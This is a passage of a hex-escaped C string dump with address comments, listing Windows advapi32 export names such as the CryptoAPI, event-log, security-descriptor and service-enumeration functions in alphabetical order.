\"\\x74\\x47\\x65\\x74\\x4B\\x65\\x79\\x50\\x61\\x72\\x61\\x6D\\x00\\x43\\x72\\x79\"   //tGetKeyParam.Cry\n/* 7E2951E0 */   \"\\x70\\x74\\x47\\x65\\x74\\x50\\x72\\x6F\\x76\\x50\\x61\\x72\\x61\\x6D\\x00\\x43\"   //ptGetProvParam.C\n/* 7E295200 */   \"\\x72\\x79\\x70\\x74\\x47\\x65\\x74\\x55\\x73\\x65\\x72\\x4B\\x65\\x79\\x00\\x43\"   //ryptGetUserKey.C\n/* 7E295220 */   \"\\x72\\x79\\x70\\x74\\x48\\x61\\x73\\x68\\x44\\x61\\x74\\x61\\x00\\x43\\x72\\x79\"   //ryptHashData.Cry\n/* 7E295240 */   \"\\x70\\x74\\x48\\x61\\x73\\x68\\x53\\x65\\x73\\x73\\x69\\x6F\\x6E\\x4B\\x65\\x79\"   //ptHashSessionKey\n/* 7E295260 */   \"\\x00\\x43\\x72\\x79\\x70\\x74\\x49\\x6D\\x70\\x6F\\x72\\x74\\x4B\\x65\\x79\\x00\"   //.CryptImportKey.\n/* 7E295280 */   \"\\x43\\x72\\x79\\x70\\x74\\x52\\x65\\x6C\\x65\\x61\\x73\\x65\\x43\\x6F\\x6E\\x74\"   //CryptReleaseCont\n/* 7E2952A0 */   \"\\x65\\x78\\x74\\x00\\x43\\x72\\x79\\x70\\x74\\x53\\x65\\x74\\x48\\x61\\x73\\x68\"   //ext.CryptSetHash\n/* 7E2952C0 */   \"\\x50\\x61\\x72\\x61\\x6D\\x00\\x43\\x72\\x79\\x70\\x74\\x53\\x65\\x74\\x4B\\x65\"   //Param.CryptSetKe\n/* 7E2952E0 */   \"\\x79\\x50\\x61\\x72\\x61\\x6D\\x00\\x43\\x72\\x79\\x70\\x74\\x53\\x65\\x74\\x50\"   //yParam.CryptSetP\n/* 7E295300 */   \"\\x72\\x6F\\x76\\x50\\x61\\x72\\x61\\x6D\\x00\\x43\\x72\\x79\\x70\\x74\\x53\\x65\"   //rovParam.CryptSe\n/* 7E295320 */   \"\\x74\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x41\\x00\\x43\\x72\\x79\\x70\\x74\"   //tProviderA.Crypt\n/* 7E295340 */   \"\\x53\\x65\\x74\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x45\\x78\\x41\\x00\\x43\"   //SetProviderExA.C\n/* 7E295360 */   \"\\x72\\x79\\x70\\x74\\x53\\x65\\x74\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x45\"   //ryptSetProviderE\n/* 7E295380 */   \"\\x78\\x57\\x00\\x43\\x72\\x79\\x70\\x74\\x53\\x65\\x74\\x50\\x72\\x6F\\x76\\x69\"   //xW.CryptSetProvi\n/* 7E2953A0 */   \"\\x64\\x65\\x72\\x57\\x00\\x43\\x72\\x79\\x70\\x74\\x53\\x69\\x67\\x6E\\x48\\x61\"   //derW.CryptSignHa\n/* 7E2953C0 */   \"\\x73\\x68\\x41\\x00\\x43\\x72\\x79\\x70\\x74\\x53\\x69\\x67\\x6E\\x48\\x61\\x73\"   //shA.CryptSignHas\n/* 7E2953E0 */   \"\\x68\\x57\\x00\\x43\\x72\\x79\\x70\\x74\\x56\\x65\\x72\\x69\\x66\\x79\\x53\\x69\"   //hW.CryptVerifySi\n/* 7E295400 */   \"\\x67\\x6E\\x61\\x74\\x75\\x72\\x65\\x41\\x00\\x43\\x72\\x79\\x70\\x74\\x56\\x65\"   //gnatureA.CryptVe\n/* 7E295420 */   \"\\x72\\x69\\x66\\x79\\x53\\x69\\x67\\x6E\\x61\\x74\\x75\\x72\\x65\\x57\\x00\\x44\"   //rifySignatureW.D\n/* 7E295440 */   \"\\x65\\x63\\x72\\x79\\x70\\x74\\x46\\x69\\x6C\\x65\\x41\\x00\\x44\\x65\\x63\\x72\"   //ecryptFileA.Decr\n/* 7E295460 */   \"\\x79\\x70\\x74\\x46\\x69\\x6C\\x65\\x57\\x00\\x44\\x65\\x6C\\x65\\x74\\x65\\x41\"   //yptFileW.DeleteA\n/* 7E295480 */   \"\\x63\\x65\\x00\\x44\\x65\\x6C\\x65\\x74\\x65\\x53\\x65\\x72\\x76\\x69\\x63\\x65\"   //ce.DeleteService\n/* 7E2954A0 */   \"\\x00\\x44\\x65\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x45\\x76\\x65\\x6E\\x74\"   //.DeregisterEvent\n/* 7E2954C0 */   \"\\x53\\x6F\\x75\\x72\\x63\\x65\\x00\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\\x50\\x72\"   //Source.DestroyPr\n/* 7E2954E0 */   \"\\x69\\x76\\x61\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\"   //ivateObjectSecur\n/* 7E295500 */   \"\\x69\\x74\\x79\\x00\\x44\\x75\\x70\\x6C\\x69\\x63\\x61\\x74\\x65\\x45\\x6E\\x63\"   //ity.DuplicateEnc\n/* 7E295520 */   \"\\x72\\x79\\x70\\x74\\x69\\x6F\\x6E\\x49\\x6E\\x66\\x6F\\x46\\x69\\x6C\\x65\\x00\"   //ryptionInfoFile.\n/* 7E295540 */   \"\\x44\\x75\\x70\\x6C\\x69\\x63\\x61\\x74\\x65\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x44\"   //DuplicateToken.D\n/* 7E295560 */   \"\\x75\\x70\\x6C\\x69\\x63\\x61\\x74\\x65\\x54\\x6F\\x6B\\x65\\x6E\\x45\\x78\\x00\"   //uplicateTokenEx.\n/* 7E295580 */   \"\\x45\\x6C\\x66\\x42\\x61\\x63\\x6B\\x75\\x70\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\"   //ElfBackupEventLo\n/* 7E2955A0 */   \"\\x67\\x46\\x69\\x6C\\x65\\x41\\x00\\x45\\x6C\\x66\\x42\\x61\\x63\\x6B\\x75\\x70\"   //gFileA.ElfBackup\n/* 7E2955C0 */   \"\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x46\\x69\\x6C\\x65\\x57\\x00\\x45\\x6C\"   //EventLogFileW.El\n/* 7E2955E0 */   \"\\x66\\x43\\x68\\x61\\x6E\\x67\\x65\\x4E\\x6F\\x74\\x69\\x66\\x79\\x00\\x45\\x6C\"   //fChangeNotify.El\n/* 7E295600 */   \"\\x66\\x43\\x6C\\x65\\x61\\x72\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x46\\x69\"   //fClearEventLogFi\n/* 7E295620 */   \"\\x6C\\x65\\x41\\x00\\x45\\x6C\\x66\\x43\\x6C\\x65\\x61\\x72\\x45\\x76\\x65\\x6E\"   //leA.ElfClearEven\n/* 7E295640 */   \"\\x74\\x4C\\x6F\\x67\\x46\\x69\\x6C\\x65\\x57\\x00\\x45\\x6C\\x66\\x43\\x6C\\x6F\"   //tLogFileW.ElfClo\n/* 7E295660 */   \"\\x73\\x65\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x00\\x45\\x6C\\x66\\x44\\x65\"   //seEventLog.ElfDe\n/* 7E295680 */   \"\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x45\\x76\\x65\\x6E\\x74\\x53\\x6F\\x75\"   //registerEventSou\n/* 7E2956A0 */   \"\\x72\\x63\\x65\\x00\\x45\\x6C\\x66\\x46\\x6C\\x75\\x73\\x68\\x45\\x76\\x65\\x6E\"   //rce.ElfFlushEven\n/* 7E2956C0 */   \"\\x74\\x4C\\x6F\\x67\\x00\\x45\\x6C\\x66\\x4E\\x75\\x6D\\x62\\x65\\x72\\x4F\\x66\"   //tLog.ElfNumberOf\n/* 7E2956E0 */   \"\\x52\\x65\\x63\\x6F\\x72\\x64\\x73\\x00\\x45\\x6C\\x66\\x4F\\x6C\\x64\\x65\\x73\"   //Records.ElfOldes\n/* 7E295700 */   \"\\x74\\x52\\x65\\x63\\x6F\\x72\\x64\\x00\\x45\\x6C\\x66\\x4F\\x70\\x65\\x6E\\x42\"   //tRecord.ElfOpenB\n/* 7E295720 */   \"\\x61\\x63\\x6B\\x75\\x70\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x41\\x00\\x45\"   //ackupEventLogA.E\n/* 7E295740 */   \"\\x6C\\x66\\x4F\\x70\\x65\\x6E\\x42\\x61\\x63\\x6B\\x75\\x70\\x45\\x76\\x65\\x6E\"   //lfOpenBackupEven\n/* 7E295760 */   \"\\x74\\x4C\\x6F\\x67\\x57\\x00\\x45\\x6C\\x66\\x4F\\x70\\x65\\x6E\\x45\\x76\\x65\"   //tLogW.ElfOpenEve\n/* 7E295780 */   \"\\x6E\\x74\\x4C\\x6F\\x67\\x41\\x00\\x45\\x6C\\x66\\x4F\\x70\\x65\\x6E\\x45\\x76\"   //ntLogA.ElfOpenEv\n/* 7E2957A0 */   \"\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x57\\x00\\x45\\x6C\\x66\\x52\\x65\\x61\\x64\\x45\"   //entLogW.ElfReadE\n/* 7E2957C0 */   \"\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x41\\x00\\x45\\x6C\\x66\\x52\\x65\\x61\\x64\"   //ventLogA.ElfRead\n/* 7E2957E0 */   \"\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x57\\x00\\x45\\x6C\\x66\\x52\\x65\\x67\"   //EventLogW.ElfReg\n/* 7E295800 */   \"\\x69\\x73\\x74\\x65\\x72\\x45\\x76\\x65\\x6E\\x74\\x53\\x6F\\x75\\x72\\x63\\x65\"   //isterEventSource\n/* 7E295820 */   \"\\x41\\x00\\x45\\x6C\\x66\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x45\\x76\\x65\"   //A.ElfRegisterEve\n/* 7E295840 */   \"\\x6E\\x74\\x53\\x6F\\x75\\x72\\x63\\x65\\x57\\x00\\x45\\x6C\\x66\\x52\\x65\\x70\"   //ntSourceW.ElfRep\n/* 7E295860 */   \"\\x6F\\x72\\x74\\x45\\x76\\x65\\x6E\\x74\\x41\\x00\\x45\\x6C\\x66\\x52\\x65\\x70\"   //ortEventA.ElfRep\n/* 7E295880 */   \"\\x6F\\x72\\x74\\x45\\x76\\x65\\x6E\\x74\\x57\\x00\\x45\\x6E\\x61\\x62\\x6C\\x65\"   //ortEventW.Enable\n/* 7E2958A0 */   \"\\x54\\x72\\x61\\x63\\x65\\x00\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x46\\x69\\x6C\"   //Trace.EncryptFil\n/* 7E2958C0 */   \"\\x65\\x41\\x00\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x46\\x69\\x6C\\x65\\x57\\x00\"   //eA.EncryptFileW.\n/* 7E2958E0 */   \"\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x4B\\x65\\x79\"   //EncryptedFileKey\n/* 7E295900 */   \"\\x49\\x6E\\x66\\x6F\\x00\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x69\\x6F\\x6E\\x44\"   //Info.EncryptionD\n/* 7E295920 */   \"\\x69\\x73\\x61\\x62\\x6C\\x65\\x00\\x45\\x6E\\x75\\x6D\\x44\\x65\\x70\\x65\\x6E\"   //isable.EnumDepen\n/* 7E295940 */   \"\\x64\\x65\\x6E\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x73\\x41\\x00\\x45\\x6E\"   //dentServicesA.En\n/* 7E295960 */   \"\\x75\\x6D\\x44\\x65\\x70\\x65\\x6E\\x64\\x65\\x6E\\x74\\x53\\x65\\x72\\x76\\x69\"   //umDependentServi\n/* 7E295980 */   \"\\x63\\x65\\x73\\x57\\x00\\x45\\x6E\\x75\\x6D\\x53\\x65\\x72\\x76\\x69\\x63\\x65\"   //cesW.EnumService\n/* 7E2959A0 */   \"\\x47\\x72\\x6F\\x75\\x70\\x57\\x00\\x45\\x6E\\x75\\x6D\\x53\\x65\\x72\\x76\\x69\"   //GroupW.EnumServi\n/* 7E2959C0 */   \"\\x63\\x65\\x73\\x53\\x74\\x61\\x74\\x75\\x73\\x41\\x00\\x45\\x6E\\x75\\x6D\\x53\"   //cesStatusA.EnumS\n/* 7E2959E0 */   \"\\x65\\x72\\x76\\x69\\x63\\x65\\x73\\x53\\x74\\x61\\x74\\x75\\x73\\x45\\x78\\x41\"   //ervicesStatusExA\n/* 7E295A00 */   \"\\x00\\x45\\x6E\\x75\\x6D\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x73\\x53\\x74\\x61\"   //.EnumServicesSta\n/* 7E295A20 */   \"\\x74\\x75\\x73\\x45\\x78\\x57\\x00\\x45\\x6E\\x75\\x6D\\x53\\x65\\x72\\x76\\x69\"   //tusExW.EnumServi\n/* 7E295A40 */   \"\\x63\\x65\\x73\\x53\\x74\\x61\\x74\\x75\\x73\\x57\\x00\\x45\\x6E\\x75\\x6D\\x65\"   //cesStatusW.Enume\n/* 7E295A60 */   \"\\x72\\x61\\x74\\x65\\x54\\x72\\x61\\x63\\x65\\x47\\x75\\x69\\x64\\x73\\x00\\x45\"   //rateTraceGuids.E\n/* 7E295A80 */   \"\\x71\\x75\\x61\\x6C\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x53\\x69\\x64\\x00\\x45\\x71\"   //qualDomainSid.Eq\n/* 7E295AA0 */   \"\\x75\\x61\\x6C\\x50\\x72\\x65\\x66\\x69\\x78\\x53\\x69\\x64\\x00\\x45\\x71\\x75\"   //ualPrefixSid.Equ\n/* 7E295AC0 */   \"\\x61\\x6C\\x53\\x69\\x64\\x00\\x46\\x69\\x6C\\x65\\x45\\x6E\\x63\\x72\\x79\\x70\"   //alSid.FileEncryp\n/* 7E295AE0 */   \"\\x74\\x69\\x6F\\x6E\\x53\\x74\\x61\\x74\\x75\\x73\\x41\\x00\\x46\\x69\\x6C\\x65\"   //tionStatusA.File\n/* 7E295B00 */   \"\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x69\\x6F\\x6E\\x53\\x74\\x61\\x74\\x75\\x73\"   //EncryptionStatus\n/* 7E295B20 */   \"\\x57\\x00\\x46\\x69\\x6E\\x64\\x46\\x69\\x72\\x73\\x74\\x46\\x72\\x65\\x65\\x41\"   //W.FindFirstFreeA\n/* 7E295B40 */   \"\\x63\\x65\\x00\\x46\\x6C\\x75\\x73\\x68\\x54\\x72\\x61\\x63\\x65\\x41\\x00\\x46\"   //ce.FlushTraceA.F\n/* 7E295B60 */   \"\\x6C\\x75\\x73\\x68\\x54\\x72\\x61\\x63\\x65\\x57\\x00\\x46\\x72\\x65\\x65\\x45\"   //lushTraceW.FreeE\n/* 7E295B80 */   \"\\x6E\\x63\\x72\\x79\\x70\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x4B\\x65\\x79\\x49\"   //ncryptedFileKeyI\n/* 7E295BA0 */   \"\\x6E\\x66\\x6F\\x00\\x46\\x72\\x65\\x65\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x69\"   //nfo.FreeEncrypti\n/* 7E295BC0 */   \"\\x6F\\x6E\\x43\\x65\\x72\\x74\\x69\\x66\\x69\\x63\\x61\\x74\\x65\\x48\\x61\\x73\"   //onCertificateHas\n/* 7E295BE0 */   \"\\x68\\x4C\\x69\\x73\\x74\\x00\\x46\\x72\\x65\\x65\\x49\\x6E\\x68\\x65\\x72\\x69\"   //hList.FreeInheri\n/* 7E295C00 */   \"\\x74\\x65\\x64\\x46\\x72\\x6F\\x6D\\x41\\x72\\x72\\x61\\x79\\x00\\x46\\x72\\x65\"   //tedFromArray.Fre\n/* 7E295C20 */   \"\\x65\\x53\\x69\\x64\\x00\\x47\\x65\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x50\\x65\"   //eSid.GetAccessPe\n/* 7E295C40 */   \"\\x72\\x6D\\x69\\x73\\x73\\x69\\x6F\\x6E\\x73\\x46\\x6F\\x72\\x4F\\x62\\x6A\\x65\"   //rmissionsForObje\n/* 7E295C60 */   \"\\x63\\x74\\x41\\x00\\x47\\x65\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x50\\x65\\x72\"   //ctA.GetAccessPer\n/* 7E295C80 */   \"\\x6D\\x69\\x73\\x73\\x69\\x6F\\x6E\\x73\\x46\\x6F\\x72\\x4F\\x62\\x6A\\x65\\x63\"   //missionsForObjec\n/* 7E295CA0 */   \"\\x74\\x57\\x00\\x47\\x65\\x74\\x41\\x63\\x65\\x00\\x47\\x65\\x74\\x41\\x63\\x6C\"   //tW.GetAce.GetAcl\n/* 7E295CC0 */   \"\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x47\\x65\\x74\\x41\"   //Information.GetA\n/* 7E295CE0 */   \"\\x75\\x64\\x69\\x74\\x65\\x64\\x50\\x65\\x72\\x6D\\x69\\x73\\x73\\x69\\x6F\\x6E\"   //uditedPermission\n/* 7E295D00 */   \"\\x73\\x46\\x72\\x6F\\x6D\\x41\\x63\\x6C\\x41\\x00\\x47\\x65\\x74\\x41\\x75\\x64\"   //sFromAclA.GetAud\n/* 7E295D20 */   \"\\x69\\x74\\x65\\x64\\x50\\x65\\x72\\x6D\\x69\\x73\\x73\\x69\\x6F\\x6E\\x73\\x46\"   //itedPermissionsF\n/* 7E295D40 */   \"\\x72\\x6F\\x6D\\x41\\x63\\x6C\\x57\\x00\\x47\\x65\\x74\\x43\\x75\\x72\\x72\\x65\"   //romAclW.GetCurre\n/* 7E295D60 */   \"\\x6E\\x74\\x48\\x77\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x41\\x00\\x47\\x65\\x74\"   //ntHwProfileA.Get\n/* 7E295D80 */   \"\\x43\\x75\\x72\\x72\\x65\\x6E\\x74\\x48\\x77\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\"   //CurrentHwProfile\n/* 7E295DA0 */   \"\\x57\\x00\\x47\\x65\\x74\\x45\\x66\\x66\\x65\\x63\\x74\\x69\\x76\\x65\\x52\\x69\"   //W.GetEffectiveRi\n/* 7E295DC0 */   \"\\x67\\x68\\x74\\x73\\x46\\x72\\x6F\\x6D\\x41\\x63\\x6C\\x41\\x00\\x47\\x65\\x74\"   //ghtsFromAclA.Get\n/* 7E295DE0 */   \"\\x45\\x66\\x66\\x65\\x63\\x74\\x69\\x76\\x65\\x52\\x69\\x67\\x68\\x74\\x73\\x46\"   //EffectiveRightsF\n/* 7E295E00 */   \"\\x72\\x6F\\x6D\\x41\\x63\\x6C\\x57\\x00\\x47\\x65\\x74\\x45\\x76\\x65\\x6E\\x74\"   //romAclW.GetEvent\n/* 7E295E20 */   \"\\x4C\\x6F\\x67\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x47\"   //LogInformation.G\n/* 7E295E40 */   \"\\x65\\x74\\x45\\x78\\x70\\x6C\\x69\\x63\\x69\\x74\\x45\\x6E\\x74\\x72\\x69\\x65\"   //etExplicitEntrie\n/* 7E295E60 */   \"\\x73\\x46\\x72\\x6F\\x6D\\x41\\x63\\x6C\\x41\\x00\\x47\\x65\\x74\\x45\\x78\\x70\"   //sFromAclA.GetExp\n/* 7E295E80 */   \"\\x6C\\x69\\x63\\x69\\x74\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\\x46\\x72\\x6F\\x6D\"   //licitEntriesFrom\n/* 7E295EA0 */   \"\\x41\\x63\\x6C\\x57\\x00\\x47\\x65\\x74\\x46\\x69\\x6C\\x65\\x53\\x65\\x63\\x75\"   //AclW.GetFileSecu\n/* 7E295EC0 */   \"\\x72\\x69\\x74\\x79\\x41\\x00\\x47\\x65\\x74\\x46\\x69\\x6C\\x65\\x53\\x65\\x63\"   //rityA.GetFileSec\n/* 7E295EE0 */   \"\\x75\\x72\\x69\\x74\\x79\\x57\\x00\\x47\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\"   //urityW.GetInform\n/* 7E295F00 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x43\\x6F\\x64\\x65\\x41\\x75\\x74\\x68\\x7A\\x4C\\x65\"   //ationCodeAuthzLe\n/* 7E295F20 */   \"\\x76\\x65\\x6C\\x57\\x00\\x47\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\"   //velW.GetInformat\n/* 7E295F40 */   \"\\x69\\x6F\\x6E\\x43\\x6F\\x64\\x65\\x41\\x75\\x74\\x68\\x7A\\x50\\x6F\\x6C\\x69\"   //ionCodeAuthzPoli\n/* 7E295F60 */   \"\\x63\\x79\\x57\\x00\\x47\\x65\\x74\\x49\\x6E\\x68\\x65\\x72\\x69\\x74\\x61\\x6E\"   //cyW.GetInheritan\n/* 7E295F80 */   \"\\x63\\x65\\x53\\x6F\\x75\\x72\\x63\\x65\\x41\\x00\\x47\\x65\\x74\\x49\\x6E\\x68\"   //ceSourceA.GetInh\n/* 7E295FA0 */   \"\\x65\\x72\\x69\\x74\\x61\\x6E\\x63\\x65\\x53\\x6F\\x75\\x72\\x63\\x65\\x57\\x00\"   //eritanceSourceW.\n/* 7E295FC0 */   \"\\x47\\x65\\x74\\x4B\\x65\\x72\\x6E\\x65\\x6C\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\"   //GetKernelObjectS\n/* 7E295FE0 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x00\\x47\\x65\\x74\\x4C\\x65\\x6E\\x67\\x74\"   //ecurity.GetLengt\n/* 7E296000 */   \"\\x68\\x53\\x69\\x64\\x00\\x47\\x65\\x74\\x4C\\x6F\\x63\\x61\\x6C\\x4D\\x61\\x6E\"   //hSid.GetLocalMan\n/* 7E296020 */   \"\\x61\\x67\\x65\\x64\\x41\\x70\\x70\\x6C\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x44\"   //agedApplicationD\n/* 7E296040 */   \"\\x61\\x74\\x61\\x00\\x47\\x65\\x74\\x4C\\x6F\\x63\\x61\\x6C\\x4D\\x61\\x6E\\x61\"   //ata.GetLocalMana\n/* 7E296060 */   \"\\x67\\x65\\x64\\x41\\x70\\x70\\x6C\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x73\\x00\"   //gedApplications.\n/* 7E296080 */   \"\\x47\\x65\\x74\\x4D\\x61\\x6E\\x61\\x67\\x65\\x64\\x41\\x70\\x70\\x6C\\x69\\x63\"   //GetManagedApplic\n/* 7E2960A0 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x43\\x61\\x74\\x65\\x67\\x6F\\x72\\x69\\x65\\x73\\x00\"   //ationCategories.\n/* 7E2960C0 */   \"\\x47\\x65\\x74\\x4D\\x61\\x6E\\x61\\x67\\x65\\x64\\x41\\x70\\x70\\x6C\\x69\\x63\"   //GetManagedApplic\n/* 7E2960E0 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x73\\x00\\x47\\x65\\x74\\x4D\\x75\\x6C\\x74\\x69\\x70\"   //ations.GetMultip\n/* 7E296100 */   \"\\x6C\\x65\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x41\\x00\\x47\\x65\\x74\\x4D\\x75\"   //leTrusteeA.GetMu\n/* 7E296120 */   \"\\x6C\\x74\\x69\\x70\\x6C\\x65\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x4F\\x70\\x65\"   //ltipleTrusteeOpe\n/* 7E296140 */   \"\\x72\\x61\\x74\\x69\\x6F\\x6E\\x41\\x00\\x47\\x65\\x74\\x4D\\x75\\x6C\\x74\\x69\"   //rationA.GetMulti\n/* 7E296160 */   \"\\x70\\x6C\\x65\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x4F\\x70\\x65\\x72\\x61\\x74\"   //pleTrusteeOperat\n/* 7E296180 */   \"\\x69\\x6F\\x6E\\x57\\x00\\x47\\x65\\x74\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\"   //ionW.GetMultiple\n/* 7E2961A0 */   \"\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x57\\x00\\x47\\x65\\x74\\x4E\\x61\\x6D\\x65\"   //TrusteeW.GetName\n/* 7E2961C0 */   \"\\x64\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x41\\x00\\x47\"   //dSecurityInfoA.G\n/* 7E2961E0 */   \"\\x65\\x74\\x4E\\x61\\x6D\\x65\\x64\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\"   //etNamedSecurityI\n/* 7E296200 */   \"\\x6E\\x66\\x6F\\x45\\x78\\x41\\x00\\x47\\x65\\x74\\x4E\\x61\\x6D\\x65\\x64\\x53\"   //nfoExA.GetNamedS\n/* 7E296220 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x45\\x78\\x57\\x00\\x47\"   //ecurityInfoExW.G\n/* 7E296240 */   \"\\x65\\x74\\x4E\\x61\\x6D\\x65\\x64\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\"   //etNamedSecurityI\n/* 7E296260 */   \"\\x6E\\x66\\x6F\\x57\\x00\\x47\\x65\\x74\\x4E\\x75\\x6D\\x62\\x65\\x72\\x4F\\x66\"   //nfoW.GetNumberOf\n/* 7E296280 */   \"\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x52\\x65\\x63\\x6F\\x72\\x64\\x73\\x00\"   //EventLogRecords.\n/* 7E2962A0 */   \"\\x47\\x65\\x74\\x4F\\x6C\\x64\\x65\\x73\\x74\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\"   //GetOldestEventLo\n/* 7E2962C0 */   \"\\x67\\x52\\x65\\x63\\x6F\\x72\\x64\\x00\\x47\\x65\\x74\\x4F\\x76\\x65\\x72\\x6C\"   //gRecord.GetOverl\n/* 7E2962E0 */   \"\\x61\\x70\\x70\\x65\\x64\\x41\\x63\\x63\\x65\\x73\\x73\\x52\\x65\\x73\\x75\\x6C\"   //appedAccessResul\n/* 7E296300 */   \"\\x74\\x73\\x00\\x47\\x65\\x74\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x4F\\x62\\x6A\"   //ts.GetPrivateObj\n/* 7E296320 */   \"\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x00\\x47\\x65\\x74\\x53\"   //ectSecurity.GetS\n/* 7E296340 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\"   //ecurityDescripto\n/* 7E296360 */   \"\\x72\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x00\\x47\\x65\\x74\\x53\\x65\\x63\\x75\"   //rControl.GetSecu\n/* 7E296380 */   \"\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x44\\x61\"   //rityDescriptorDa\n/* 7E2963A0 */   \"\\x63\\x6C\\x00\\x47\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\"   //cl.GetSecurityDe\n/* 7E2963C0 */   \"\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x47\\x72\\x6F\\x75\\x70\\x00\\x47\\x65\"   //scriptorGroup.Ge\n/* 7E2963E0 */   \"\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\"   //tSecurityDescrip\n/* 7E296400 */   \"\\x74\\x6F\\x72\\x4C\\x65\\x6E\\x67\\x74\\x68\\x00\\x47\\x65\\x74\\x53\\x65\\x63\"   //torLength.GetSec\n/* 7E296420 */   \"\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x4F\"   //urityDescriptorO\n/* 7E296440 */   \"\\x77\\x6E\\x65\\x72\\x00\\x47\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\"   //wner.GetSecurity\n/* 7E296460 */   \"\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x52\\x4D\\x43\\x6F\\x6E\\x74\"   //DescriptorRMCont\n/* 7E296480 */   \"\\x72\\x6F\\x6C\\x00\\x47\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\"   //rol.GetSecurityD\n/* 7E2964A0 */   \"\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x53\\x61\\x63\\x6C\\x00\\x47\\x65\"   //escriptorSacl.Ge\n/* 7E2964C0 */   \"\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\"   //tSecurityInfo.Ge\n/* 7E2964E0 */   \"\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x45\\x78\\x41\"   //tSecurityInfoExA\n/* 7E296500 */   \"\\x00\\x47\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\"   //.GetSecurityInfo\n/* 7E296520 */   \"\\x45\\x78\\x57\\x00\\x47\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x44\\x69\"   //ExW.GetServiceDi\n/* 7E296540 */   \"\\x73\\x70\\x6C\\x61\\x79\\x4E\\x61\\x6D\\x65\\x41\\x00\\x47\\x65\\x74\\x53\\x65\"   //splayNameA.GetSe\n/* 7E296560 */   